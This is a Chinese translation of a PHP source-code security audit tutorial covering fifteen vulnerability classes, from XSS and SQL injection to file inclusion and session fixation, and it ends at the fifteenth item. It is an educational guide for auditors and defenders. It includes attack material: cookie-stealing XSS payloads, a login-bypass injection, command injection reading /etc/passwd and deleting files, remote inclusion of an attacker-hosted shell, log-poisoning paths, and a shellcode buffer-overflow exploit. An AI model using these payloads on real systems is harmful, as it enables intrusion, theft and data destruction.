原文地址:forum.eviloctal.com/attachment.php?aid=13807javascript
----------php
PHP Fuzzing行動——源碼審計html
做者:Shahin Ramezanyjava
譯者:riusksk(泉哥:http://riusksk.blogbus.com)mysql
目錄:程序員
Section 1:web
20種PHP源碼快速審計方式正則表達式
Section 2:sql
PHP源碼審計自動化( PHP Fuzzer )shell
風險級別:
■ Low
■ Medium
■ High
在開始PHP代碼分析以前,讀者必須先完成如下兩項工做:
1. 安裝PHP程序;
2. 使用支持PHP代碼高亮的編輯器(好比Emeditor - Notepad++)。
筆者在下文中所提供的方法僅做爲簡單的攻擊和防護參考。本文旨在介紹攻擊和防護方法。
注意1:其中一些話題歸Wikipedia版權全部
注意2:必須在PHP源碼中尋找如下變量:
$_SERVER
$_GET
$_POST
$_COOKIE
$_REQUEST
$_FILES
$_ENV
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
以上變量均爲PHP中的可輸入變量。
注意3:關於這些變量的更多信息可訪問PHP官方網站:www.php.net。
Section 1: 20種PHP源碼快速審計方式
1- Cross Site Scripting (XSS) / CRLF [Medium]
跨站腳本(XSS)屬於WEB程序中的一類計算機安全漏洞,它容許在用戶瀏覽的網頁中注入惡意代碼,好比HTML代碼和客戶端腳本。可利用的跨站腳本漏洞可被攻擊者用於繞過訪問控制,好比同源策略(same origin policy)。這類漏洞可被用於構造釣魚攻擊和瀏覽器攻擊。
攻擊:
攻擊者在其請求中注入HTML代碼。
Exp 1:
<?php
$error_message = $_GET['error'];
print $error_message ;
?>
index.php?error=<script>alert(document.cookie)</script>
Exp 2:
<html>
<body>
<input name="show_courses" value="<?php echo $_GET['show_courses']; ?>" >
</body>
</html>
#http://127.0.0.1:81/1.php?show_courses="><script>alert(document.cookie);</script>
防護:
<?php
$error_message = $_GET['error'];
print htmlspecialchars($error_message );
?>
更多資料:
http://ha.ckers.org/xss.html
http://en.wikipedia.org/wiki/Cross-site_scripting
http://www.googlebig.com/forum/cross-site-scripting-attack-and-defense-guide-t-178.html
2- SQL Injection [medium]
SQL注入是利用WEB程序數據層的安全漏洞進行代碼注入的技術。當用戶輸入的數據中並未對嵌入的SQL聲明語句進行正確過濾時,或者用戶並無被嚴格地限制輸入,從而致使惡意代碼被執行,就有可能形成SQL注入漏洞。這是一類很廣泛的安全漏洞,它可在任什麼時候候發生於被嵌入的編程或腳本語言之中。
攻擊:
SQL注入是PHP代碼審計過程當中發現的最爲嚴重的漏洞之一,關於這類攻擊更多的信息能夠經過閱讀下面提供的參考資料得到,而這裏只是簡述此類漏洞而已。
Example 1:
<?php
$id= $_GET['id'];
$query= "SELECT * FROM users WHERE id= ' 「 .$id." ;"
...
?>
index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*
Example 2:
#login.php:
<?
//login.php -- SQL Injection Vulnerable page
//Attack and defence php apps book
//shahriyar - j
$user = $_POST['user'];
$pass = $_POST['pass'];
$link = mysql_connect('localhost', 'root', 'pass') or die('Error: '.mysql_e
rror());
mysql_select_db("sql_inj", $link);
$query = mysql_query("SELECT * FROM sql_inj WHERE user ='".$user."' AND pas
s ='" .$pass. "'",$link);
if (mysql_num_rows($query) == 0) {
echo"<scripttype=\"text/javascript\">window.location.href='index.html';</sc
ript>";
exit;
}
$logged = 1;
?>
當用戶(可能爲攻擊者)發送$_POST['user'] , $_POST['pass']給 login.php時,這些變量直接存儲在SQL請求命令中。若是攻擊者發送:
$user = 1' OR '1' = '1
$pass = 1' OR '1' = '1
將會繞過login.php的登錄驗證,讀者當注意此類代碼。
防護:
下面是通用的防注入代碼:
<?php
$title = $_POST['title']; // user input from site
$description = $_POST['description']; // user input from site
// define the cleaner
$dirtystuff = array("\"", "\\", "/", "*", "'", "=", "-
", "#", ";", "<", ">", "+", "%");
// clean user input (if it finds any of the values above, it will replace it with
whatever is in the quotes - in this example, it replaces the value with nothing)
$title = str_replace($dirtystuff, "", $title); // works!
$description = str_replace($dirtystuff, "", $description); // works!
// input: I\ "like/ green< ** veg'et=a-bles> ;and< pizza**
// output: I like green vegetables and pizza
// input: a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '%
// output: aDROP TABLE users SELECT FROM data WHERE name LIKE
?>
<譯註:最好仍是採用白名單的過濾方式>
更多信息 :
http://en.wikipedia.org/wiki/Sql_injection
http://drewish.com/files/SQL Injection Overview.ppt
http://www.php.net/manual/en/security.database.sql-injection.php
攻擊實例:
http://www.milw0rm.com/papers/241
http://www.milw0rm.com/papers/202
2- HTTP Response Splitting [Medium]
HTTP響應分裂是一種WEB程序漏洞,它能夠致使應用程序或者環境設置對輸入值的過濾失效,也能夠執行跨站腳本攻擊,跨用戶攻擊,WEB緩存中毒以及其它相似的攻擊。
重要的HTTP頭列表:
在PHP語言中,咱們可使用」header」函數來設置HTTP頭,在一些PHP源碼中,你能夠發現"header", "$_SERVER"等函數。在"$_SERVER"函數中的一些參數包含有用戶輸入的數據:
REQUEST_URI, PATH_INFO, QUERY_STRING
Example 1:
<?php
redirect_page = $_GET['page'];
header ("Location: " . redirect_page);
?>
redirect.php?page=http://www.abysssec.com
For $_SERVER:
<?php
echo "Welcome From " . $_SERVER['HTTP_REFERER'];
?>
可使用Mozilla Firefox插件"Tamper Data"來發送一般的HTTP header:
https://addons.mozilla.org/en-US/firefox/addon/966
Example 2 :
<?php
$Name = "test"; //senders name
$email = "email@adress.com"; //senders e-mail adress
$recipient = $_GET['to'];//recipient
$mail_body = "The text for the mail..."; //mail body
$subject = "Subject …"; //subject
$header = "From: ". $Name . " <" . $email . ">\r\n";
mail($recipient, $subject, $mail_body, $header); //mail command :)
?>
CRLF是HTTP Response Splitting的另外一種方式。在上面的例子中,行4中的$recipient變量並無對全部的輸入數據進行檢測,以至攻擊者能夠添加「CC」:
默認輸入爲:
$headers = "From: myplace@here.com\r\n";
$headers .= "CC: sombodyelse@noplace.com\r\n";
「CC」 和 」From」 被 」\r\n」 分隔。
污染輸入:
Mail.php?to=info@test.com\r\nCC: sombodyelse@noplace.com
防護:
1- 檢測Mail Header的輸入值
2- 可以使用如下方式輸入,而不用URL輸入:
<?php
$id = $_GET['url_id'];
if ($id == 1) {
header ("Location: " . redirect_page);
}
?>
和:
<?php
echo "Welcome From " . htmlspecialchars($_SERVER['HTTP_REFERER']);
?>
攻擊實例:
(video) : http://www.milw0rm.com/video/watch.php?id=28
http://www.securiteam.com/unixfocus/6F00Q0K6AK.html
http://o0o.nu/~meder/o0o_Blogger_HTTP_response_splitting.txt
http://www.securityfocus.com/archive/1/369405
4- 動態賦值漏洞 [High]:
1-當使用動態函數加載時,可經過請求來執行指定的函數,致使攻擊者能夠執行任意函數。
攻擊:
<?php
$myfunc = $_GET['myfunc'];
$myfunc();
?>
Index.php?myfunc=phpinfo
2-全局函數漏洞
Register Global是危險的「PHP擴展」:
當其打開時,register_globals可利用各類變量注入腳本代碼,好比來自HTML表單的請求。這種漏洞主要與PHP變量未初始化相關,以至垂手可得地便可向其寫入惡意代碼。這是一個艱難地抉擇,但PHP官方最後依然決定在默認狀況下禁止該指令。當容許該指令時,用戶仍可以使用變量,但沒法肯定它是來自哪裏,而只能靠猜想。在腳本中定義的內部變量很容易與用戶發送的請求數據相混淆,而只能經過禁止register_globals來解決這種狀況。下面演示一個未使用register_globals的例子:
Admin.php
<?php
if (isset($is_admin)) {
//Yes, I'm the admin so call the Administration Pannel
[...]
} else {
//No, I'm not the admin
[...]
}
?>
# admin.php?is_admin=1
另外一個說明register_globals存在問題的例子就是下面關於動態路徑的包含:
<?php
include "$path/script.php";
?>
當容許register_globals時,可用如下方式請求頁面:
Index.php?path=http://evil.example.org/?
至關於下面的請求:
<?php
include 'http://evil.example.org/?/script.php';
?>
注意(php.ini配置):
若是allow_url_fopen 是enabled(默認狀況下是enabled,甚至在php.ini中民被推薦的設置),這將包含http://evil.example.org/的輸出,正如本地文件通常。這是一個嚴重的安全漏洞,這也是在一些開源的代碼程序中被發現的。
防護:
不要使用這種方式去加載函數,這是一個危險地帶!任什麼時候候,任何狀況下,Register Global都應該關閉!或者將變量的內容設置以下:
<?php
$is_admin =();
if (isset($is_admin)) {
//Yes, I'm the admin so call the Administration Pannel
[...]
} else {
//No, I'm not the admin
[...]
}
?>
攻擊實例 / 信息:
http://www.milw0rm.com/exploits/7705
http://wiki.lunarpages.com/PHP_and_Register_Global_Variables
5- 進程控制/PHP代碼注入 (HIGH):
當咱們使用下列函數:「PHP進程執行函數&進程控制」,而且用戶能夠輸入變量(見上面),那麼將致使任意的PHP代碼被執行。
PHP進程控制列表:
Exec
system
passthru
shell_exec
proc_open
pcntl_exec
Example 1:
<?php
$page = $_GET['page'];
system ("type " . $page);
?>
# index.php?page=/etc/passwd | uname –a
Example 2:
下列代碼是來自一項管理系統的WEB程序,它容許用戶封裝批處理文件進行Oracle數據庫備份,而後運行cleanup.bat腳本去清除一些臨時文件。rmanDB.bat可接受單命令行參數,由它指定備份類型。由於數據庫訪問是受限的,備份程序須要權限用戶纔可執行。
<?
...
$btype = $_GET['backuptype'];
$cmd = "cmd.exe /K \"c:\\util\\rmanDB.bat " . $btype . "&&c:\\utl\\cleanup.
bat\"";
system(cmd);
...
?>
這個問題主要是讀取用戶數據的backuptype參數時未對其進行任何有效地過濾所致使的。特別是Runtime.exec()函數將不能執行多條命令,但在這種狀況下,程序爲了單次調用Runtime.exec()以執行多條命令,它就得先去執行cmd.exe shell。Shell一經調用,它將會分別執行被點號分隔的多條命令。若是攻擊者發送一條經惡意構造的命令"&& del c:\\dbms\\*.*",那麼程序將隨之執行該條命令。因爲程序須要必定的權限才能與數據庫交互,所以被注入的任何命令都將以此權限運行。
當程序員使用eval()函數操做內部數據時,這些數據均可能會被攻擊者關注到,由於它很容易致使代碼執行漏洞的發生:
<?php
$install = $_REQUEST['install_command'];
eval($install);
?>
上面的代碼如玫瑰香通常誘人,由於它可能被用來執行代碼注入。
install.php?install_command=phpinfo();
實例代碼:
<?php
[...]
$register_poll_vars = array("id","template_set","action");
for ($i=0;$i<sizeof($register_poll_vars);$i++) {
if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) {
eval("\$$register_poll_vars[$i] =
\"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";");
} elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) {
eval("\$$register_poll_vars[$i] =
\"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";");
} else {
eval("\$$register_poll_vars[$i] = '';");
}}
[...]
?>
$$register_poll_vars[$i] 是用戶輸入的變量。
http://[target]/comments.php?id=";[PHPCODE]//&template_set=";[PHPCODE]//&action=";[PHPCODE]//
攻擊實例:
http://www.milw0rm.com/exploits/3758
http://www.milw0rm.com/exploits/309
6- 本地/遠程文件包含(High):
本地或者遠程文件包含是PHP代碼審計中的高危漏洞,攻擊者可利用它加載本地或者遠程文件到PHP WEB頁面。
危險函數:
include
include_once
require
require_once
show_source
highlight_file
readfile
file_get_contents
fopen
file
一般,PHP中的每個「文件系統函數」均可能是危險的,可參見這裏:
http://ir.php.net/manual/en/ref.filesystem.php
本地文件包含:
<?php
include('../geshi.php');
if ( isset($_POST['submit']) ) //*
{
//*
if ( get_magic_quotes_gpc() ) $_POST['source'] =
stripslashes($_POST['source']);
if ( !strlen(trim($_POST['source'])) )
{
//BUG is HERE
$_POST['source'] = implode('', @file('../geshi/' . $_POST['language'] .
'.php'));
$_POST['language'] = 'php';
}
?>
在星號*標記的一行中,若是存在變量$_POST ['submit']和 $_POST ['language'],那麼你就能夠讀取任何的PHP文件。所以,咱們能夠利用此漏洞讀取config.php文件!
Exploit:
<form action="http://[HOST]/example.php" method="post">
Path to file:
example: ../../../../config
<textarea name="language"></textarea>
<input type="submit" name="submit" value="See">
</form>
注意:
在本地文件包含(LFI)攻擊中,攻擊者可讀取對方主機中的任何日誌文件和本地文件。也許這種文件瀏覽並不能形成多大危害,但攻擊者可先構造一個錯誤,而後該錯誤會被記錄在服務器上的日誌文件中(apache log / error log等等)。當攻擊者向目標主機請求一個未存在的文件時:
Test000.php?code=<?php;phpinfo();?>
這將會把全路徑地址都記錄在error.log文件中(在本例中,你的日誌文件路徑可能與筆者不一樣),與此同時,當咱們利用LFI漏洞的變量去加載error.log時,攻擊者便可執行本身的PHP代碼。
默認日誌文件路徑列表:
var/log/httpd/access_log
var/log/httpd/error_log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
apache/logs/error.log
apache/logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
logs/error.log
logs/access.log
etc/httpd/logs/access_log
etc/httpd/logs/access.log
etc/httpd/logs/error_log
etc/httpd/logs/error.log
var/www/logs/access_log
var/www/logs/access.log
usr/local/apache/logs/access_log
usr/local/apache/logs/access.log
var/log/apache/access_log
var/log/apache/access.log
var/log/access_log
var/www/logs/error_log
var/www/logs/error.log
usr/local/apache/logs/error_log
usr/local/apache/logs/error.log
var/log/apache/error_log
var/log/apache/error.log
var/log/access_log
var/log/error_log
Example:
http://www.milw0rm.com/exploits/2270
(譯註:關於更多的LFI2RCE技術能夠參見我在博客http://riusksk.blogbus.com上寫的一篇文章《利用PHP代碼實現LFI2RCE》,網上對本文的轉載是不完整的,由於後來我又補寫了一段上去。)
遠程文件包含:
遠程文件包含攻擊容許惡意用戶在存在漏洞的主機上運行本身的PHP代碼,攻擊者可包含存放在網上空間中用PHP編寫的網頁(惡意)代碼。例以下面的一段漏洞代碼:
<?php
if (eregi("theme.php", $_SERVER['PHP_SELF']))
die();
global $theme, $_FNROOTPATH,$lang; //<-- REQUEST Variable
global $forumback, $forumborder;
$_FN['table_background']=&$forumback;
$_FN['table_border']=&$forumborder;
if ($forumback=="" && $forumborder==""){
$forumback="ffffff";
$forumborder="000000";
} // Load File
require_once ($_FNROOTPATH . "themes/$theme/theme.php");
...
?>
Exploit:
因爲變量$_FNROOTPATH未明確地指定數值,所以攻擊者能夠注入本地的惡意文件到URL中,並在目標服務器上執行:
http://localhost/~flatnux/index.php?_FNROOTPATH=http://attacker.com/shell.php%00
攻擊實例:
http://www.milw0rm.com/exploits/8066
http://www.milw0rm.com/exploits/8025
http://www.milw0rm.com/exploits/7939
http://www.milw0rm.com/exploits/7969
http://www.milw0rm.com/exploits/6817
7 –文件管理 (HIGH):
有些PHP函數可用於文件管理,若是偷懶的程序員沒有對輸入變量進行很好地檢測,那麼就可能形成這種高危漏洞。
Copy函數:
<?php
$file = $_GET['cpFile'];
$newfile = "/user/local/www/html/tmp/file.php";
if (!copy($file, $newfile)) {
echo "failed to copy $file...\n";
} else {
echo " thanks .."
}
?>
攻擊者能夠複製其它文件,好比'/etc/passwd' into '$newfile',而後讀取它。
http://victim.com/index.php?cpfile=/etc/passwd
其它危險函數以下:
文件刪除 [見PHP.Net]:
Rmdir
unlink
delete
fwrite
壓縮 & 解壓縮函數:
<?php
$file = "/tmp/foo.bz2";
$bz = bzopen($file, "r") or die("Couldn't open $file for reading");
bzclose($bz);
?>
8- 緩衝區溢出 (High, 但難利用):
當程序員使用下面的危險函數時:
confirm_phpdoc_compiled
mssql_pconnect
mssql_connect
crack_opendict
snmpget
ibase_connect
緩衝區溢出漏洞就可能發生在上面的函數中。
緩衝區溢出舉例(snmpget()):
<?php
$host = $_GET['host'];
$timeout = $_GET['timeout'];
$syscontact = snmpget("$host", "public", "$timeout");
?>
Exploit:
<?php
// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit
// rgod [-> R.I.P] + Edited By Abysssec INC
// site: http://retrogod.altervista.org
// win xp sp2 version
if (!extension_loaded("snmp")){
die("you need the snmp extension loaded.");
}
$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\x6d\x13\x86\x7c". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\xda\xcd\x81\x7c". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";
$edx="\x64\x8f\x9b\x01"; //jmp scode
$eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx
$____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x
90",48).$____scode.str_repeat("\x90",48);
//more than 256 chars result in simple eip overwrite
$curl = curl_init();
//Send Time out
curl_setopt ($curl, CURLOPT_URL, "http://target.com/snmp.php?host=127.0.
0.1&timeout=$____suntzu");
curl_exec ($curl);
curl_close ($curl);
?>
9- Cookie / Session injection / Fixation / [High]:
會話安全是一個高端話題,成爲被頻繁攻擊的目標也就不足爲奇了。主要的session攻擊包括會話冒充,攻擊者能夠訪問到由其它用戶發起的會話。對於攻擊者而言,最爲重要的信息莫過於會話ID(session identifier),由於這是完成會話冒充攻擊必備的條件。下面有三種方法能夠得到一個有效的會話ID:
● 預測法
● 捕獲法
● 注視法
預測法可用於猜想有效的會話ID。因爲PHP本有的會話機制,會話ID都是很是隨機化的,所以這裏並非執行攻擊的最薄弱點。
捕獲有效的會話ID是最爲廣泛的會話攻擊類型,固然,這還有不少其它方法。因爲會話ID是在cookies或者GET變量中傳輸的,所以各類攻擊方式都主要聚焦於這些傳輸方式。當瀏覽器存在一些關於cookies的漏洞時(大部分是發生在Internet Explorer中),cookies比GET變量曝露會話ID的機率更低,所以對於大多數使用cookies的用戶,你能夠爲他們提供一種更爲安全的傳輸機制——利用cookie傳輸會話ID。
注視法是獲取有效會話ID最爲簡單的方式。這種方法很難被防護,但若是你的會話機制僅僅使用session_start(),那麼就可能存在漏洞。爲了演示這種會話注視法,請看下面的代碼,session.php:
<?php
session_start();
if (!isset($_SESSION['visits']))
{
$_SESSION['visits'] = 1;
}
else
{
$_SESSION['visits']++;
}
echo $_SESSION['visits'];
?>
當首次訪問該頁面時,你能夠看到1被輸出到屏幕上。在隨後的每次訪問中,該數值將會隨之增長,以反映頁面訪問次數。
爲了演示session fixation,首先須要確保你的電腦上並不存在會話ID(能夠刪除cookies),而後將?PHPSESSID=1234添加到URL中以訪問該頁面。接着,以徹底不一樣的瀏覽器(甚至是徹底不一樣的計算機)訪問添加了?PHPSESSID=1234的URL地址。此時你將會看到屏幕上並無輸出1,而是繼續你以前開始的會話。
爲什麼存在這種問題呢?大部分的session fixation攻擊只是簡單地使用一個連接或者一個協議,以將用戶重定向到一個包含會話ID的URL地址的遠程站點。用戶可能並不會注意到,由於這個站點將顯示徹底相同的內容。因爲會話ID已被獲知了,那麼就能夠利用它來發動僞造攻擊,好比會話劫持(session hijacking)。
一次像這樣簡單的攻擊是很容易被阻止的。若是正在活動的會話與用戶擁有的會話ID無關,那麼它能夠從新生成會話ID:
<?php
session_start();
if (!isset($_SESSION['initiated']))
{
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>
對於這樣簡單的防護,攻擊者只需用一個特定的會話ID初始化session便可,而後使用該ID發動攻擊。爲了阻止這類攻擊,首先應當知道會話劫特只在用戶登錄後有效,或者要否則就是得到高權限後纔有用。所以,若是當權限級別改變時(例如覈實用戶名和密碼後),咱們就應該修改即將從新生成的會話ID,這樣咱們才能真正地消除被session fixation攻擊的風險。
會話劫持(Session Hijacking)
在全部被用來訪問他人會話的攻擊技術中,會話劫持無疑是最廣泛的一種會話攻擊技術。正如session fixation同樣,若是你的會話機制僅由session_start()組成,那麼它就存在漏洞,即便利用起來並不簡單。與其關注如何阻止會話ID被竊取,倒不如想一想如何成功地完成一次會話ID竊取。因爲會話僞造的每一步複雜化都會提升咱們的安全性,所以爲了將會話劫持複雜化,咱們須要檢查成功完成會話劫持所須要的每一步驟。在每一種方案中,咱們都將假設會話ID已被竊取。在最爲簡單的會話機制中,一個有效的會話ID是會話劫持成功與否的關鍵所在。爲了完善它,咱們須要查看用於其它認證的HTTP請求中是否還有其它東西。
注意
單純地依靠TCP/IP層上的東西(好比IP地址)是不明智的,由於一些更爲底層的協議沒法兼容發生在HTTP層上的行爲。一個用戶可能用不一樣的IP地址去完成每一次的請求,多個用戶也可能擁有共同的IP地址。
一個典型的HTTP requtest:
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
因爲Host header是HTTP/1.1所必需的,所以依靠其它信息是不明智的。可是,防護的堅固程度確實是咱們所須要的,由於咱們關注的是如何增長會話僞造的難度,以防止危害到合法用戶。假設以前的request是由下面與之不一樣的User-Agent請求的:
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
雖然相同的cookie是存在的,可是是否能夠假設它們是同一用戶呢?這彷佛與瀏覽器更改請求包中的User-Agent header很不一樣吧?下面咱們修改會話機制以進行對比:
<?php
session_start();
if (isset($_SESSION['HTTP_USER_AGENT']))
{
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
{
/* Prompt for password */
exit;
}
}
else
{
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>
如今攻擊者不只須要提供一個有效的會話ID,並且還必須提供與會話中相匹配的User-Agent header。雖然這使事情輕微的複雜化,但這可使它變得更爲安全了。
咱們是否還能夠再提升它的安全性呢?人們認爲獲取cookie值的通用方式就是利用瀏覽器(好比IE)漏洞。這些攻擊方式包括受害者訪問攻擊者的惡意站點,所以攻擊者也能夠獲取正確的User-Agent header。這就要求咱們必須採起其它的保護方式以對抗這種狀況。若是咱們要求用戶在每一項請求中都必須傳輸User-Agent的MD5值,那麼攻擊者將沒法篡改受害者的請求包中所包含的頭信息了,但這也將須要再發送一項附加信息了。當這一特定的token容易被猜想到時,咱們能夠將這一猜測工做複雜化,以提升猜測的難度,這隻需簡單地添加一個隨機生成的額外數據便可構造出token:
<?php
$string = $_SERVER['HTTP_USER_AGENT'];
$string .= 'SHIFLETT';
/* Add any other data that is consistent */
$fingerprint = md5($string);
?>
記住,咱們是在cookie中傳輸會話ID的,這就致使了攻擊者經常得去破壞cookie(可能全部的HTTP頭也是如此)才能竊取到會話ID,所以咱們應該以URL變量來傳輸fingerprint。這些都必須在全部的URL中傳輸,即便是會話ID也是如此,由於這些都是必需的,這樣會話才能自動地保持下去(還得經過全部檢測)。
爲了確保合法用戶不會像犯人同樣被對待,這就須要在檢測失敗時要求輸入密碼。若是在你的檢測方法中存在錯誤,好比錯誤地判斷一個發動僞造攻擊的用 戶,那麼在繼續操做前就得要求輸入密碼,以確保在這種狀況下受到最小的攻擊。事實上,用戶可能在察覺到這種請求方式後,會感激你添加了這種保護方式。
其實還有其它各類不一樣的方法能夠用來提升僞造會話的複雜程度,以防止發生會話劫持。同時但願在對session_start()的額外處理上,你能夠有本身的想法。總之只需記住:爲難壞小子,方便好小子。
攻擊實例:
http://www.milw0rm.com/exploits/3508
http://www.milw0rm.com/exploits/858
http://www.milw0rm.com/exploits/871
10 – 拒絕服務[Medium, But Hard Assessment]:
WEB程序特別容易受到拒絕服務攻擊。一個WEB程序很難講清惡意數據傳輸與普通數據傳輸之間的不一樣,這裏面有多方面的因素,可是其中最爲重要的一點就是:因爲多種緣由,IP地址不能做爲可行的鑑定證書。因爲沒有一種可靠的方式能夠得知HTTP request來自哪裏,這就致使很難過濾掉一些惡意的數據傳輸。對於分佈式攻擊,程序又該如何去辨別真實攻擊與多用戶同時重載數據(網站的這種臨時問題是可能發生的)或者獲取「slash dotted」之間的不一樣呢?
例如:
<?php
//....
$user_mode=$_SERVER['HTTP_USER_AGENT'];
$user_ip=$_SERVER['SERVER_ADDR'];
$sql = "INSERT INTO tbl_name (..) VALUES($user_mode,$user_ip);";
//Summon Myssql For each Request and Write into it.
//..
?>
當一些訪問者請求查看目標站點時,他們的信息(例如IP及瀏覽器信息)將會被記錄在MYSQL數據庫中。與此同時,當一些用戶(或者一些攻擊者發動請求)發送請求後,Mysql 服務器將對其進行處理。
其它循環函數,好比:[While, for ...]
一旦攻擊者可摧毀一些必需的資源,那麼他們就能夠阻止合法用戶使用系統。一些被限制的資源包括帶寬,數據庫鏈接,磁盤存儲,CPU,內存,線程,或者程序特定資源。
攻擊實例:
http://archive.cert.uni-stuttgart.de/bugtraq/2006/01/msg00397.html
http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-03/msg00092.html
在上例中:
profile.php:註冊用戶,註冊中咱們可使安全代碼圖片失效
search.php:經過數據庫不能記錄到的方式進行搜索。
11 - XPath注入 [XML函數]:
SQL注入是最爲廣泛的代碼注入攻擊方式,但咱們這裏要講述的是其它一些可危害到你的程序及數據的其它注入攻擊方式,主要包括LDAP注入和XPath注入。'XPath injection'與SQL注入攻擊類似,但它的攻擊目標是XML document,而非SQL數據庫。'XPath Injection'是用於攻擊WEB站點的攻擊技術,用於構造來自用戶提供的XPath請求。
例如:
<?php
$test = $_GET['test'];
if ($test){
$xml = simplexml_load_file("1.xml");
$result = $xml->xpath($test);
print_r($result);
}
?>
1.xml :
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
Good Query :
Index.php?test=from
Good Result :
Array ( [0] => SimpleXMLElement Object ( [0] => Jani ) )
Bad Query :
Index.php?test=*
Good Result For US ! :
Array ( [0] => SimpleXMLElement Object ( [0] => Tove ) [1] => SimpleXMLElement Object ( [0] => Jani
) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] =>Don't forget me this weekend! ) )
這是一個存在漏洞的PHP程序!
注意:
Xpath Injection有多種方式,好比SQL/Xpath Inject , Basic Xpath Inject & …
更多信息:
http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf
http://www.ibm.com/developerworks/xml/library/x-xpathinjection.html
http://joginipally.blogspot.com/2007/10/code-injection-xpath-injection.html
http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml
攻擊實例:
http://www.securityfocus.com/archive/1/466211
12 – 常被濫用: 文件上傳 (High):
當容許文件上傳到你的系統時,你就得承擔必定的風險,由於文件可能並不是它所顯示出來的那樣(假裝爲圖片以上傳PHP腳本,並將其移動到他們能夠運行它的地方等等)。若是你的站點不須要上傳文件,那麼禁止它將能夠防止因疏忽形成的錯誤而被上傳惡意文件。
Example 1:下列代碼用於處理上傳的文件,它將文件移動到WEB根目錄下。攻擊者能夠上傳惡意PHP源文件給該程序以及來自服務端的後續請求,這將致使它們被PHP解釋器執行(查找$_FILES函數)。
<?php
$udir = './'; // Relative path under Web root
$ufile = $udir . basename($_FILES['userfile']['name']);
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $ufile)) {
echo "Valid upload received\n";
} else {
echo "Invalid upload rejected\n";
} ?>
即便程序將文件存儲在一個不可經過WEB訪問的目錄下,攻擊者依然能夠將惡意內容注入到服務端環境中以發動其它攻擊。若是程序易遭受到路徑操做,命令注入或者遠程文件包含漏洞等的影響,那麼攻擊者可能會上傳一個包含惡意內容的文件,以使程序經過可利用的漏洞去讀取或執行它。
攻擊 (發送文件):
<html>
<body> <form enctype="multipart/form-data" method=POST>
<input type=file name="userfile">
<input type="submit">
</form>
</body>
</html>
防護:
若是用戶並不須要上傳文件,那麼就關閉它。
PHP.ini:
file_uploads = off
攻擊實例:
http://www.milw0rm.com/exploits/2937
http://securityvulns.com/Tdocument590.html
13 – 函數/文件的未認證調用(Medium):
一些管理目錄下的文件本來是禁止訪問的,但因爲程序員忘記對這些文件進行驗證,以至漏洞的發生。攻擊者必須對存在此問題的文件進行檢測。當PHP程序在未經許可的狀況下調用管理函數時,攻擊者可調用這些函數:
#index.php
<?php
include ("Function.php");
$action=$_GET['action'];
if ($action == $actionArray[$action][0])) {
#load proper Function with $_GET
...
}
?>
#Function.php
<?php
$actionArray = array(
'activate' => array('Register, 'Activate'),
'admin' => array('Admin', 'Admin'),
'upload'=> array('Post', 'upload'),
'ban' => array('ManageBans', 'Ban),
);
function Forum (){
#Authorize Function
...
}
Function upload (){
# admin function without Permission
...
}
}
本例中攻擊者可在未經許可的狀況下加載管理函數:
# index.php?action=upload
14 – 經過暴力破解繞過登錄驗證 (Low):
當程序員未對嘗試登錄失敗的次數進行檢測時,攻擊者能夠在一些登錄頁面上經過暴力破解繞過驗證。
注意:當一個懶惰的程序員使用basic authentication來保護他/她的控制面板時,這將給攻擊者提供一次暴力破解的機會。
<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>
攻擊實例:
大部分的商業管理系統(CMS),例如:OS-commerce (在某些版本中)。
15 –不安全的隨機命名Session / Cookie / 備份文件(Medium):
在命名session & cookie &備份文件時,將其隨機化,可能會出賣它們。
例如:
<?php
$rnd = rand(1,100);
$fp = fopen($rnd.'_backup_.sql', 'w');
fwrite($fp, $db );
fclose($fp);
?>
本例中:將備份文件寫入到"$rand_backup_.sql"中。在代碼第2行中,咱們能夠看到$rand參數,它隨機生成1-100之間的任意數。攻擊者可寫入代碼以暴力破解文件名。所以當咱們在生成Session & Cookie的時候,應當謹慎地使用隨機函數。
攻擊實例:
